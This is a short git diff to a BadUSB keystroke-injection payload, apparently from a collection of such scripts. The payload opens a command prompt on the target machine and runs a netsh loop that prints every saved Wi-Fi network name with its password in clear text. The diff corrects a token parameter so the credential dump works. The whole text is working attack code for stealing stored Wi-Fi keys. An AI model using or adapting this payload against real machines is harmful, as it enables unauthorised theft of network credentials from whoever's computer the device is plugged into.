diff --git a/BadUSB/Show_WiFi_Passwords.txt b/BadUSB/Show_WiFi_Passwords.txt index 44585cf48..d351133f6 100644 --- a/BadUSB/Show_WiFi_Passwords.txt +++ b/BadUSB/Show_WiFi_Passwords.txt @@ -5,6 +5,6 @@ STRING cmd DELAY 500 ENTER DELAY 1500 -STRING for /f "skip=9 tokens=12 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"SSID name" /C:"Key Content" +STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"SSID name" /C:"Key Content" DELAY 250 ENTER